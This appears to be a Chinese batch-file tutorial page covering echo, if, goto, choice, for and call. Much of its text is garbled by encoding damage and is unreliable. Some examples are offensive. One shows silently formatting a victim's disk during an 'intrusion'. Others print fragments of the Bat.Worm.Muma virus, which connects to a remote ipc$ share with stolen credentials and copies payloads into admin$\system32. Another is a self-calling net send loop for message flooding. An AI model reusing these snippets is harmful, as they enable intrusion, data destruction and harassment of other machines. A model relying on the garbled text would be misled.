首页 bat常用命令 就是命令提示符 非dos

bat常用命令 就是命令提示符 非dos

举报
开通vip

bat常用命令 就是命令提示符 非dosbat常用命令 就是命令提示符 非dos BAT常用命令 echo、@、call、pause、rem(小技巧,用::代替rem)是批处理文件最常用的命令~几个我处就他处处始起。 从学 echo 表示处示此命令后的字符 echo off 表示在此处句后所有行的命令都不处示命令行本身 运 @与echo off相象~但是加在每命令行的最前面~表示行处不处示处一行的命令行;只能影前它个运响当 行,。 call 处用一批处理文件;如果不用另个call而直接处用处的批处理文件~那处处行完那批处理文件后无法返回个将当并当前...

bat常用命令 就是命令提示符 非dos
bat常用命令 就是命令提示符 非dos BAT常用命令 echo、@、call、pause、rem(小技巧,用::代替rem)是批处理文件最常用的命令~几个我处就他处处始起。 从学 echo 表示处示此命令后的字符 echo off 表示在此处句后所有行的命令都不处示命令行本身 运 @与echo off相象~但是加在每命令行的最前面~表示行处不处示处一行的命令行;只能影前它个运响当 行,。 call 处用一批处理文件;如果不用另个call而直接处用处的批处理文件~那处处行完那批处理文件后无法返回个将当并当前文件处行前文件的后处命令,。 pause 运会并屏行此句处停批处理的处行在幕上处示Press any key to continue...的提示~等待用处按任意处后处 处 rem 表示此命令后的字符处解处行;注处,~不处行~只是处自己今后考用的;相于程序中的注处,。 参当 例1,用edit处处a.bat文件~处入下列容后存处处内c:\a.bat~处行处批处理文件后可处处,根目处中所有文件将写入 a.txt中~处启UCDOS~处入WPS等功能。   批处理文件的容处内:         命令注处,     @echo off           不处示后处命令行及前命令行 当     dir c:\*.* >a.txt       将c处文件列表入写a.txt     call c:\ucdos\ucdos.bat    处用ucdos     echo 你好            处示"你好"     pause              处停,等待按处处处     rem 准处行运wps         注处,准处行运wps     cd ucdos            处入ucdos目处     wps               行运wps   批处理文件的 参数 批处理文件处可以像C处言的函一处使用;相于数参数当DOS命令的命令行,~处需要用到一表示参数个参数符“%”。 %[1-9]表示~是指在行批处理文件处在文件名后加的以空格;或者参数参数运Tab,分隔的字符串。处量可 以从%0到%9~%0表示批处理命令本身~其字符串用它参数%1到%9处序表示。 例2,C:根目处下有一批处理文件名处f.bat~容处, 内 @echo off format %1 如果处行C:\>f a: 那处在处行f.bat处~%1就表示a:~处处format %1就相于当format a:~于是上面的命令行处处处处行的是运 format a: 例3,C:根目处下一批处理文件名处t.bat~容处内: @echo off type %1 type %2 那处行运C:\>t a.txt b.txt %1 : 表示a.txt %2 : 表示b.txt 于是上面的命令处序地处示将a.txt和b.txt文件的容。 内 特殊命令 if goto choice for是批处理文件中比处高处的命令~如果处用得熟处~就是批处理文件的处家。 几个你很你啦 一、if 是件处句~用判是否符合处定的件~而定处行不同的命令。 有三处格式条来断条从决: 1、if [not] "参数" == "字符串" 待处行的命令 参数如果等于(not表示不等~下同)指定的字符串~处件成立~行命令~否处行下一句。 条运运 例,if "%1"=="a" format a: 2、if [not] exist [路径\]文件名 待处行的命令 如果有指定的文件~处件成立~行命令~否处行下一句。 条运运 如: if exist c:\config.sys type c:\config.sys 表示如果存在c:\config.sys文件~处处示的容。 它内 3、if errorlevel <数字> 待处行的命令 很多DOS程序在行处束后返回一字处用表示程序行的处果运会个数来运(或者处状)~通处if errorlevel命令可以判程序的返回处~根据不同的返回处定处行不同的命令断来决(返回处必处按照大到小的处序排列从)。如果返回处等于指定的字~处件成立~行命令~否处行下一句。 数条运运 如if errorlevel 2 goto x2 二、goto 批处理文件行到处里跳到运将goto所指定的处号(处号即label~处用号:后处准字符串定处跟来)处~goto处句一般与if配合使用~根据不同的件处行不同的命令处。 条来 如: goto end :end echo this is the end 处用“号:字符串”定处~处所在行不被处行。 来号 三、choice 使用此命令可以处用处处入一字符;用于处处,~而根据用处的处处返回不同的个从errorlevel~然后于if errorlevel配合~根据用处的处处行不同的命令。 运 注意,choice命令处DOS或者Windows系处提供的外部命令~不同版本的choice命令处法稍有不同~处会用choice /?处看用法。 choice的命令处法;处处法处Windows 2003中choice命令的处法~其版本的它choice的命令处法此大同小与 异,, CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text] 描述: 处工具允处用处处处列表处处一处目返回所处处目的索引。 从个并 参数列表: /C choices 指定要处建的处处列表。默处列表是 "YN"。 /N 在提示符中处藏处处列表。提示前面的消息得到处示~ 处处依处于用处。 旧启状 /CS 允处处处分大小的处处。在默处情下~处工具 写况个 是不分大小的。 写 /T timeout 做出默处处处之前~处停的秒。可接受的处是 数从0 到 9999。如果指定了 0~就不有处停~默处处处 会 会得到处处。 /D choice 在 nnnn 秒之后指定默处处处。字符必处在用 /C 处 处指定的一处处处中; 同处~必处用 /T 指定 nnnn。 /M text 指定提示之前要处示的消息。如果有指定~工具只 没 处示提示。 /? 处示助消息。 帮 注意: ERRORLEVEL 处境处量被处置处处处集处处的处索引。列出的第一处 从个 处返回 1~第二处处返回 个2~等等。如果用处按的处不是有效的处处~ 处工具处出警告。如果处工具处处到处处处~返回 会响声状它会255 的 ERRORLEVEL 处。如果用处按 Ctrl+Break 或 Ctrl+C 处~处工具返回 会0 的 ERRORLEVEL 处。在一批程序中使用 个ERRORLEVEL 参数将参数处~降 序排列。 示例: CHOICE /? CHOICE /C YNC /M "确处处按 Y~否处按 N~或者取消处按 C。" CHOICE /T 10 /C ync /CS /D y CHOICE /C ab /M "处处 1 处处处 a~处处 2 处处处 b。" CHOICE /C ab /N /M "处处 1 处处处 a~处处 2 处处处 b。" 如果我行命令,运CHOICE /C YNC /M "确处处按 Y~否处按 N~或者取消处按 C。" 屏会幕上处示, 确处处按 Y~否处按 N~或者取消处按 C。 [Y,N,C]? 例,test.bat的容如下;注意~用内if errorlevel判返回处处~要按返回处高到低排列,断从: @echo off choice /C dme /M "defrag,mem,end" if errorlevel 3 goto end if errorlevel 2 goto mem if errotlevel 1 goto defrag :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此批处理行后~处示“运将defrag,mem,end[D,M,E]?” ~用处可处处d m e ~然后if处句根据用处的处处作出判断~ d表示处行处处号defrag的程序段~m表示处行处处号mem的程序段~e表示处行处处号end的程序段~每程序段个最后都以goto end将程序跳到end处处~然后程序处示号将good bye~批处理行处束。 运 四、for 循处命令~只要件符合~多次处行同一命令。 条它将 处法, 处一处文件中的每一文件处行某特定命令。 个个 FOR %%variable IN (set) DO command [command-parameters] %%variable 指定一处一字母可替处的。 个参数 (set) 指定一或一处文件。可以使用通配符。 个 command 指定处每文件处行的命令。 个 command-parameters 处特定命令指定或命令行处处。 参数 例如一批处理文件中有一行个: for %%c in (*.bat *.txt) do type %%c 处处命令行处示前目处下所有以会当bat和txt处处展名的文件的容。 内 批处理示例 1. IF-EXIST 1) 首先用处事本在C:\建立一个test1.bat批处理文件~文件容如下, 内 @echo off IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist 然后行, 运它 C:\>TEST1.BAT 如果C:\存在AUTOEXEC.BAT文件~那处的容就被处示出~如果不存在~批处理就提示处文件它内会来会你 不存在。 2) 接着再建立一个test2.bat文件~容如下, 内 @ECHO OFF IF EXIST \%1 TYPE \%1 IF NOT EXIST \%1 ECHO \%1 does not exist 处行: C:\>TEST2 AUTOEXEC.BAT 处命令行处果同上。 运 处明, (1) IF EXIST 是用处处文件是否存在的~格式处 来 IF EXIST [路径+文件名] 命令 (2) test2.bat文件中的%1是~参数DOS允处处处9个参数批信息处批处理文件~分处处%1~%9(%0表示test2命 令本身) ~处有点象处程中的处和形的处系~参参%1是形~参AUTOEXEC.BAT是处。 参 3) 更处一步的~建立一名处个TEST3.BAT的文件~容如下, 内 @echo off IF "%1" == "A" ECHO XIAO IF "%2" == "B" ECHO TIAN IF "%3" == "C" ECHO XIN 如果行, 运 C:\>TEST3 A B C 屏会幕上处示: XIAO TIAN XIN 如果行, 运 C:\>TEST3 A B 屏会幕上处示 XIAO TIAN 在处命令处行处程中~个DOS会将个参数一空字符串指定处%3。 2、IF-ERRORLEVEL 建立TEST4.BAT~容如下, 内 @ECHO OFF XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷处失处 IF ERRORLEVEL 0 ECHO 成功拷处文件 然后处行文件: C:\>TEST4 如果文件拷处成功~幕就处示“成功拷处文件”~否处就处示“文件拷处失处”。 屏会会 IF ERRORLEVEL 是用处处的上一处来它个DOS命令的返回处的~注意只是上一命令的返回处~而且返回处个 必处依照大到小次序处序判。 从断 因此下面的批处理文件是处处的, @ECHO OFF XCOPY C:\AUTOEXEC.BAT D:\ IF ERRORLEVEL 0 ECHO 成功拷处文件 IF ERRORLEVEL 1 ECHO 未到拷处文件 找IF ERRORLEVEL 2 ECHO 用处通处ctrl-c中止拷处操作 IF ERRORLEVEL 3 ECHO 处置处处阻止文件拷处操作 IF ERRORLEVEL 4 ECHO 拷处处程中处处处 写 无处拷处是否成功~后面的, 未到拷处文件 找 用处通处ctrl-c中止拷处操作 处置处处阻止文件拷处操作 拷处处程中处处处 写 都处示出。 将来 以下就是常用命令的返回处及其代表的意处, 几个 backup 0 处成功 份 1 未到处文件 找份 2 文件共享突阻止处完成 冲份 3 用处用ctrl-c中止处 份 4 由于致命的处处使处操作中止 份 diskcomp 0 处比处相同 1 处比处不同 2 用处通处ctrl-c中止比处操作 3 由于致命的处处使比处操作中止 4 处置处处中止比处 diskcopy 0 处拷处操作成功 1 非致命处处/写处 2 用处通处ctrl-c处束拷处操作 3 因致命的处理处处使处拷处中止 4 处置处处阻止拷处操作 format 0 格式化成功 3 用处通处ctrl-c中止格式化处理 4 因致命的处理处处使格式化中止 5 在提示“proceed with format;y/n,?”下用处处入n处束 xcopy 0 成功拷处文件 1 未到拷处文件 找 2 用处通处ctrl-c中止拷处操作 4 处置处处阻止文件拷处操作 5 拷处处程中处处处 写 3、IF STRING1 == STRING2 建立TEST5.BAT~文件容如下, 内 @echo off IF "%1" == "A" formAT A: 处行, C:\>TEST5 A 屏将幕上就出处是否A:处格式化的容。 内 注意,处了防止处空的情~一般字符串用引;或者其符~注意不能使用保留符,括起参数况会将双号它号号 来。 如,if [%1]==[A] 或者 if %1*==A* 5、GOTO 建立TEST6.BAT~文件容如下, 内 @ECHO OFF IF EXIST C:\AUTOEXEC.BAT GOTO _COPY GOTO _DONE :_COPY COPY C:\AUTOEXEC.BAT D:\ :_DONE 注意, (1) 处前是号ASCII字符的冒号":"~冒处处之处不能有空格。 号与号 (2) 处的命名处处文件名的命名处处相同。 号与 (3) DOS支持最处八位字符的处~无法处处处~跳处至最近的一处处处。 号当区两个号将个号 6、FOR 建立C:\TEST7.BAT~文件容如下, 内 @ECHO OFF FOR %C IN (*.BAT *.TXT *.SYS) DO TYPE %C 运行, C:>TEST7 处行以后~幕上屏会将C:处根目处下所有以BAT、TXT、SYS处处展名的文件容处示出;不包括处藏文件,内来。 bat命令的使用 。   一. 处处批处理部命令处介 内      1. Echo 命令   打处回处或处处处求回处功能~或处示消息。如果有任何~没参数echo 命令处示前回处处置。 将当   处法   echo [{on off}] [message]   Sample,@echo off / echo hello world   在处处处用中我处把处命令和重定向符;也处管道符~一般用会条号称号> >> ,处合处处处入一些命令到特来定格式的文件中.处在以后的例子中处出。 将体来   2. @ 命令   表示不处示@后面的命令~在入侵处程中;例如使用批处理格式化处人的硬处,自然不能处处方看到使来你用的命令。 啦   Sample,@echo off   @echo Now initializing the program,please wait a minite...   @format X: /q/u/autoset (format 处命令是不可以使用个/y处的~可喜的是个参数个微处留了autoset处个 参数处我处~效果和/y是一处的。)   3. Goto 命令   指定跳处到处处~到处处后~程序处理下一行处始的命令。 找将从   处法,   goto label ;label是~指定所要处向的批处理程序中的行。, 参数   Sample,   if {%1}=={} goto noparms   if {%2}=={} goto noparms;如果处里的if、%1、%2你会不明白的处~先跳处去~后面有处处的解处。,   @Rem check parameters if null show usage   :noparms   echo Usage: monitor.bat ServerIP PortNumber   goto end   处处的名字可以随啦个来个便起~但是最好是有意处的字母~字母前加,用表示处字母是处处~goto命令就是根据处,处下一步跳到到那里。最好有一些处明处处处人看起个来找你来会你啊才理解的意处处。   4. Rem 命令   注处命令~在C处言中相当与/*--------*/,它并会个你不被处行~只是起一注处的作用~便于处人处处和自己日后修改。   Rem Message   Sample,@Rem Here is the description.? ?????5. Pause 命令   行 运Pause 命令处~处示下面的消息, 将   Press any key to continue . . .   Sample,   @echo off   :begin   copy a:*.* d,\back   echo Please put a new disk into driver A   pause   goto begin   在处例子中~处处个器 A 中磁处上的所有文件均处制到d:\back中。处示的注处提示一处您将另磁处放入处处器 A 处~pause 命令使程序起~以会挂您便更处磁处~然后按任意处处处处理。   6. Call 命令   一批处理程序处用一批处理程序~且不处止从个另个并父批处理程序。call 命令接受用作处用目处的处处。如果在脚本或批处理文件外使用 Call~不在命令行起作用。 它将会   处法   call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]    参数   [Drive:}[Path] FileName   指定要处用的批处理程序的位置和名。称filename 参数必处具有 .bat 或 .cmd 处展名。   7. start 命令   处用外部程序~所有的DOS命令和命令行程序都可以由start命令处用。 来   入侵常用, 参数   MIN 处始处窗口最小化   SEPARATE 在分处的空处处始 内16 位 Windows 程序   HIGH 在 HIGH 处先处处处处始处用程序   REALTIME 在 REALTIME 处先处处处处始处用程序   WAIT 启并它处处用程序等候处束   parameters 处些处处送到命令/程序的 参数   处行的处用程序是 32-位 GUI 处用程序处~CMD.EXE 不等处用程序处止就返回命令提示。如果在命令脚 本处行~处内会新行处处不处生。   8. choice 命令 #处一命令处不用~上再处个会网找找料#   choice 使用此命令可以处用处处入一字符~而行不同的命令。使用处处处加个从运/c:参数~c:后处提示可处写 入的字符~之处无空格。的返回处处它1234……   如: choice /c:dme defrag,mem,end   处示 将   defrag,mem,end[D,M,E]?   Sample,   Sample.bat的容如下内:   @echo off   choice /c:dme defrag,mem,end   if errorlevel 3 goto defrag ;处先判处最高的处处处, 断数   if errorlevel 2 goto mem   if errotlevel 1 goto end   :defrag   c:\dos\defrag   goto end   :mem   mem   goto end   :end   echo good bye 猜你喜处 • 条形处生成工具 处色版 • 处处处处代处卡 • at 命令的用法 • 一命令处条搞松定 QQ 好友 IP • 处处小命令~破解微处正版处处 • 《命令与征服 4 ,泰伯利处的黄体昏》处中文处化 ... • 《命令与征服 4 ,泰伯利处的黄昏; CC4:Tiberian ... • [ 求 ] 占用处源少的 , 处控不的的处处卡 分享到 淘江湖 新浪 QQ 微博 QQ 空处 处心 人人 豆瓣 网易微博 百度 处果 白社会 处信 1,本人是文盲~以上容文字内均不处处2,此事本人无处系 只处处处分与3,此留言处处制~不代表本人处点4,此明最处解处处处本人所有 声 回处 引用 处处 处端 nulnul 处处: 宝藏博士生 处帖3340金处50威望0股份77好处度34交易处信度0 • 处注 Ta • 处消息 只看处作者 1 处表于: 2009-08-22 bat批处理程教 例一、先处出一最个easy的批处理脚本~下面的行命令保存处将几name.bat然后处行, ping sz.tencent.com > a.txt ping sz1.tencent.com >> a.txt ping sz2.tencent.com >> a.txt ping sz3.tencent.com >> a.txt ping sz4.tencent.com >> a.txt ping sz5.tencent.com >> a.txt ping sz6.tencent.com >> a.txt ping sz7.tencent.com >> a.txt exit 是不是都能看的懂很,是不是easy,但的作用它很个你当却是处用的~处行处批处理后~可以在的前处建立一 个名处a.txt的文件~里面处处的信息可以助它帮你找迅速到速度最快的QQ服处器~而处“从离从服处器中处” 那一痛苦的处程。处里>的意思~是把前面命令得到的处西放到后面所处的地方~>>的作用~和>的相同~处区是把处果追加到前一行得出的处果的后面~具的处是下一行~而前面一行命令得出的处果保留~处处可以使体将 处个a.txt文件越越来搞坏大;想到如何破了,,,。By the way~处批处理处可以和其他命令处合~成完个搞 全自处化判断服处器速度的处处~处行后直接处示速度最快的服处器IP~是不是很将爽,后面处处处介处。 例二、再处出一个已处处处的例子;a.bat,, @echo off if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif a.bat 处什处处处是处处的例子个呢很几没广,处处~因处处在已处乎有人用处告的QQ了;KAO~我的QQ处处示好友三处呢它几它,,,~所以乎用不上了。但曾处的作用是不可小处的,处除QQ的告~处处处广框干干处处。处里用的地址是QQ的默处安装地址~默处批处理文件名处a.bat~然可以根据情自行你当况个修改。在处脚本中使用了if命令~使得可以到它达断广你窗它适处判和处除告处片的效果~只需要不处处口~不强行处止命令~就一直处处是否有告处广当个你内片。然处脚本占用一点点存。 例三~使用批处理脚本处是否中冰内河。脚本容如下, @echo off netstat -a -n > a.txt type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" del a.txt pause & exit 处里利用了netstat命令~处处所有的处网状你清很端口处~只需要楚常处木处所使用的端口~就能easy的判断出是否被人处了来冰确冰河。然处不是定的~因处河默处的端口7626~完全可以被人修改。处里介处的只是方法和思路。处里介处的是方法和思路稍做改处~就处成可以处处其他木处的脚本了~再改处一下~加处去参数和端口及信息列表文件后~就处成自处处处所有木处的脚本了。呵呵~是不是处处很,脚本中处利用了处合命令&&和管道命令|~后面处处介处。 将 例四~借批处理自处清垃圾除系处~脚本如下, @echo off if exist c:\windows\temp\*.* del c:\windows\temp\*.* if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.* if exist c:\windows\History\*.* del c:\windows\History\*.* if exist c:\windows\recent\*.* del c:\windows\recent\*.* 将内以上脚本容保存到autoexec.bat里~每次处机处就把系处处自处处垃圾两除了。处里需要注意点,一、DOS不支持处文件名~所以就出处了Tempor~1处处处个况~二、可根据自己的处处情处行改处~使其符合自己的要求。 从将浅很处一章处始~由入深的介处批处理中常用的命令~多常处DOS命令在批处理脚本中有处广它泛的处用~处是批处理脚本的BODY部分~但批处理比DOS更灵学活多处~更具处自处化。要好批处理~DOS一定要有比处扎来处的基处。处里只处述一些比处少用;相处处,的DOS命令~常用命令如COPY、DIR等就不做介处了;处些看似处处的命令处处处处的~我自己都处不很怕清楚,,。 例五~先看一处例。处是一有意个个很个体漓思的脚本~一小巧处用的好处处~把批处理“自处化”的特点处的淋尽个来致。先介处一下处脚本的处,大家都知道处处程序;MASM,的上机处程~先要处源代处处行处处、处接~然后再处行~而处中处有多处处需要处入多处很很很懂个呢西~麻处的;只有处处处的朋友才得,。如何使处处程处的处处,在我处处处处程处处处~我“被搞写个来很内逼”了处脚本~用起爽~呵呵。看看脚本容, @echo off ::close echo cls ::clean screen echo This programme is to make the MASM programme automate ::display info echo Edit by CODERED ::display info echo Mailto me : qqkiller***@sina.com ::display info if "%1"=="" goto usage ::if input without paramater goto usage if "%1"=="/?" goto usage ::if paramater is "/?" goto usage if "%1"=="help" goto usage ::if paramater is "help" goto usage pause ::pause to see usage masm %1.asm ::assemble the .asm code if errorlevel 1 pause & edit %1.asm ::if error pause to see error msg and edit the code link %1.obj & %1 ::else link the .obj file and execute the .exe file :usage ::set usage echo Usage: This BAT file name [asm file name] echo Default BAT file name is START.BAT ::display usage 先不要被处一堆的处西处了~下吓怕静来两个号内心仔处的看。已处处出了每一行命令的解处~冒后面的容处前一行容解处的内E文;害怕E文的朋友也不用担很心~都easy~一看就了~处在不了不处处懂懂会啊典~处处处,,~在脚本处行处不处示~也不起任何作用。倒数第5行行首有一冒~可不是处个号笔哦体,具处作用后面会处处处到。此脚本中masm和link是处处程序和处接程序~必处和edit程序以及要处处的你当个源代处;然处有处脚本~处处,,一起在前目处中。使用处批处理当个减个几脚本~可以最大可能的少手工处入~整处程中只需要按下回处处~可处处处处即从源代处到可处行exe文件的自处化处处~具处并断智能判功能,如果处处处源代处出处处处;处处不成功,~处自处处停处示处处信息~在按任意处后自处处入处处并并源代处界面~如果源代处处处成功~处处行处接~在处接后自处处行生成的exe文件。外~由于批处理命令的处处另灵个性和活性~处脚本处具处良好的可改处性~处处处行修改就可以符合不同朋友的上机处处。正在处处的学朋友~一定处忘了处处一下, 在处个几个脚本中出处了如下命令,@、echo、::、pause、:和goto、%以及if。而处一章就处述处命令将几个。 1、@ 处符大家都不个号陌生~email的必处符~处到批处理中号它怎会跑呢它来离,呵呵~不是的处~批处理本就处不处它它窗它~要不就不完美了。的作用是处处行口中不处示后面处一行的命令本身;多处处口的一句处,,。呵呵~通俗一点处~行首有了的处~处一行的命令就不处示了。在例它五中~首行的@echo off中~@的作用就是处脚本在处行处不处示后面的echo off部分。处下了懂吧懂没,处是不太,处系~看完echo命令处介~自然就了懂。 2、echo 中文处“反处”、“回处”的意思。其处是一处处命令~就是处只有处处处,打处和处处。于是就有了它个它两状echo on和echo off两个命令了。直接处行echo命令处示前将当echo命令处;状off或on,处行echo off将处处回处~它后面的所有命令都不处示命令本身~只处示处行后的处果~除非处行echo on命令。在例五中~首行的@命令和echo off命令处合起~到了目的,不处示来达两个echo off命令本身~不处示以后各行中的命令本身。的是有点~但要是处处一下的处~确乱你3分处包~不的会会退处, echo命令的一处用法一,可以用处示信息另它来数,如例五中倒第二行~Default BAT file name is START.BAT将窗在脚本处行后的口中处示~而echo命令本身不处示;处什处,,,。 echo命令的一处用法二,可以直接处处文本文件。例另六, echo nbtstat -A 192.168.0.1 > a.bat echo nbtstat -A 192.168.0.2 >> a.bat echo nbtstat -A 192.168.0.3 >> a.bat 以上脚本容的处处方法是~直接是命令行处入~每行一回处。最后就在前目处下内会当个生成一a.bat的文件~直接处行就得到处果。 会 3、:: 处命令的作用处处~是注处命令~在批处理个很它脚本中和rem命令等效。后面的容在处行处不处示~也不起它内 任何作用~因处只是注处~只是它增加了脚本的可处性~和C处言中的/*…………*/处似。地球人都能看~就懂不多处了。 4、pause 中文处“处停”的意思;看看的你workman上,~我一直处处是批处理中最处处的一命令~处处、处用。的它个它 作用~是处前程序处程处停一下~处示一行信息,处按任意处处处当并. . .。在例五中处命令用了次~第一次个运两的作用是处使用者看清个它楚程序信息~第二是处示处处的处处代处信息;其处不是想处示~而是masm程序在处示处处信息处被处停了~以它你清你哪便处看楚的源代处处在里,。 5、:和goto 处什处要把处命令处合起介处两个来它哪个哪个会,因处处是分不处的~无处少了或多了都出处。goto是跳处命个令~:是一处处。程序行到个当运goto处~自处跳处到将:定处的部分去处行了;是不是分不处,,。例五中倒数第5行行首出处一个:~处程序在行到运goto处就自处跳处到:处处定处的部分处行~处果是处示脚本usage;usage就是处处名,。不处看出~称goto命令就是根据处冒和处处名处处跳处的地方~处处是一一处处的处系。个号称来找它它goto命令也处常和if命令处合使用。至于处命令具用法~照例两个体参五。 goto命令的一处用法一,提前处束程序。在程序中处使用另goto命令跳处到某一处处~而处一处处的容内却定处处退出。如, …… goto end …… :end 处里:end在脚本最后一行,其处处例子个很弱智~后面处了if命令和处合命令就你知道了。 6、% 处个号来它参数个百分处格处是算不上命令的~只是批处理中的而已;多%一起使用的情况将除外~以后处处处介处,~但千万处以处只是就小看了;看看例它参数它它它减五中有多少地方用到,,~少了批处理的功能就少了51%了。看看例七, net use \\%1\ipc$ %3 /u:"%2" copy 11.BAT \\%1\admin$\system32 /y copy 13.BAT \\%1\admin$\system32 /y copy ipc2.BAT \\%1\admin$\system32 /y copy NWZI.EXE \\%1\admin$\system32 /y attrib \\%1\admin$\system32\10.bat -r -h -s 以上代处是Bat.Worm.Muma病毒中的一部分~%1代表的IP~2%代表的username~3%代表password。处行形式处,脚本文件名 一 二 参数参数个……。假处处脚本被保存处a.bat~处处行形式如下,a IP username password。处里IP、username、password是三~个参数确运缺一不可;因处程序不能正行~并参数你个参数不是因处少了处法就不处,处处在脚本处行处程中~脚本就自处用用的三依次;处住~是依次,也是一一处处的处系。,代处1%、2%和3%~处处就到了达灵运活用的目的;处想~如果在脚本中直接把IP、username和password都定处死~那处脚本的作用也就被固定了~但如果使用%的处~不同的可以参数达灵到不同的目的~是不是更活,,。 处于处的使用~在后处个参数将很狠章处中处介处。一定要非常熟处才行~处需要多处处处程~需要下点工夫, 处一章就到处里了。可能有写怎没朋友处了,处处介处if命令,呵呵~不是我忘了~而是不容它清易处楚~下一章再处了,处一章处的处点处西~如果是你学怕初者~恐也处消化的了。处住一句处,DOS是批处理的BODY~任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到处里~是否你肚已处想到了用自己子里的处西去写呢很个点处有自处化色彩的处处,处处~就是一DOS命令的集合而已~相信自处称你会天才的已处把处算机等处考处上机处处中的DOS部分用批处理自处化完成了。 来 7、if 接上一章~接着处if命令。处的处~来if命令是一表示判的命令~根据得出的每一处果~都可以处处一个断个它 个它相处的操作。处于的三处用法~在处里分处处。 (1)、处入判。处是用例断几吧五里面的那句, if "%1"=="" goto usage if "%1"=="/?" goto usage if "%1"=="help" goto usage 处里判处入的情~如果处空;无,~处跳处到断参数况参数参数usage~如果处参数/?或help处;大家一般看一个命令的助~是不是处入的帮/?或help呢个来个真~处里处处做只是处了处处脚本看起更像一正的程序,~也跳处到usage。处里处可以用否定形式表示“不等于”~例如,来if not "%1"=="" goto usage~处表示如果处入参数不处空就跳处到usage;处处中处处做就意处了~处里介处用法~管不了那处多了~没很翻呵呵。,是不是处处,其处处成中文一下就体会understand了。 (2)、存在判。再看例二里处句, 断 if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif 如果存在那些gif文件~就处除处些文件。然处有例四~都是一处的道理。注意~处里的件判是判存在当条断断 的~然也可以判不存在的~例如下面处句“如果不存在那些当断gif文件处退出脚本”,if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。 (3)、处果判。处是断没写拿例五处刀;想到自己的脚本~竟然用处处处大~呵呵,, masm %1.asm if errorlevel 1 pause & edit %1.asm link %1.obj 先处源代处处行处处~如果失处处处停处示处处信息~在按任意处后自处处入处处并界面~否处用link程序处接生成的obj文件。处里只介处一下和if命令有处的地方~&命令后面处到。处处用法是先判前一命令处行后的返回处;也会断个 叫处处处~DOS程序在行完后都有返回处,~如果和定处的处处处符合;处里定处的处处处处运1,~处处行相处的操作;处里相处的操作处pause & edit %1.asm部分,。 另两达外~和其他处用法一处~处处用法也可以表示否定。用否定的形式仍表上面三句的意思~代处处处, masm %1.asm if not errorlevel 1 link %1.obj pause & edit %1.asm 看到本处了吧断,其处只是把处果判后所处行的命令互处了一下~“if not errorlevel 1”和“if errorlevel 0”的效果是等效的~都表示上一句masm命令处行成功;因处是处处判~而且返回处处它断0~0就表示否定~就是处处个处处不存在~就是处masm处行成功,。处里是否加not~处处处到底用0处是1~是处得考处的处处~一两个旦搭配不成功脚本就肯定出处~所以一定要的体会很体会写个深刻才行。如何的深刻,处处,自己一脚本~然后把有not和有没not的情~返回处处况0或1的情分处处况写怎啊况去处行;处~嫌麻处,排列处合算一下才四中情你呢怕从很清就嫌麻处了,后面介处管道命令和处合命令处处有更麻处的,了,呵呵。,~处处处行的处果中就能楚的看出处处情的处。 两况区 处处用errorlevel处果判的用法是断if命令最处的用法~但也恰恰是最有用的用法~如果不用你会errorlevel来判返回处~处要到相同的效果~必处用断达else来表示“否处”的操作~是比处麻处的。以上代处必处处成, masm %1.asm if exist %1.obj link %1.obj else pause & edit %1.asm 处于if命令的处三处用法就say到处里~理解处处~但处用处就不一定用的那处得很心处手~主要是熟处程度的处处。可能有的朋友有点处~我处处处出处惊怎没似下面三行的用法介处~是因处下面三行是if命令助里处自身用法帮它的解处~任何人只要一“个if /?”就能看到~我有必要在处里多处没口舌~更重要的原因~是我处得处处介处的不清懂楚~看的人不一定看的~所以我采用上面自己处if命令的理解介处。一定要注意的是~处三处用法的格来 式各不相同~而且也是不能改处的~但处处上可以互处;以处本处上处~处三处用法都是建立在判的从断基处上的~哲学教学会研我处透处处象看事物本处,,。有处趣的朋友可以自己究一下。 IF [NOT] ERRORLEVEL number do command IF [NOT] string1==string2 do command IF [NOT] EXIST filename do command 8、call 学处处处或C的朋友~肯定都知道call指令表示什处意思了~在处里的意它思其处也是一处的。在批处理脚本中~call命令用一批处理来从个另个个脚本中处用一批处理脚本。看例八;默处的三脚本文件名分处处start.bat、10.bat和ipc.bat,, start.bat, …… CALL 10.BAT 0 …… 10.bat, …… ECHO %IPA%.%1 >HFIND.TMP …… CALL ipc.bat IPCFind.txt ipc.bat, for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k 有有看出没没来啊没来没嘛你怎来从什处不处的地方,看出,看出就处了~其处就有不处的地方~处看的出,上面两个你脚本~可以得到如下信息,1、脚本处用可以灵运运运活用~循处用、重处用。2、脚本处用可以使用参数你会,处于第一点就不多处了~处明的一看就处处~处里处一下第二点。 在start.bat中~10.bat后面了跟参数0~在处行处的效果~其处就是把10.bat里的参数%1用0代替。在start.bat中~ipc.bat后面了跟参数ipcfind.txt;一文件~也可以做,~处行处的效果~就是用个参数ipc.bat中的每一行的三处量;处里不处系~处个懂没学for命令后就了,~处处代处懂ipc.bat中的%%i、%%j和%%k。处里处用是非常参数灵体会学学参数活的~使用处需要好好。在初期处~可以先处只处用脚本~至于处脚本的一起使用的情~在后面的处中自然就有比处况学会当你灵运深刻的理解~处是因处已处可以活用批处理脚本后~如何使代处的更写你会参数精处更完美更高效就自然包括到了考处的范处~处处候就处处在处用脚本处直接加入~可以使代处效率加倍。By the way~上面的处几个脚本~都是Bat.Worm.Muma病毒的一部分~在后面的程里~教大家有将会个真机处到处病毒的面目。 那是不是处~在同一目处下至个两个个你少存在批处理脚本文件;只有一处用处,,,呵呵~注意了~处句处处 了,,只有一照处可以处用个----处用自身,看例九;默处脚本文件名a.bat,, net send %1 This is a call example. call a.bat 处句一处合~效果自然不处处~因处只有一两怎来怕啊你来个礼尚来台机器处消息~处处,我处往,可如果有100台机器同处处行~而且每台机器处10和窗个口同处向一目处机器处消息的处~呵呵。处里call a.bat的作用就是处用自身~处行完前一句net send命令后再处用自身~到了循处处行的目的。 达 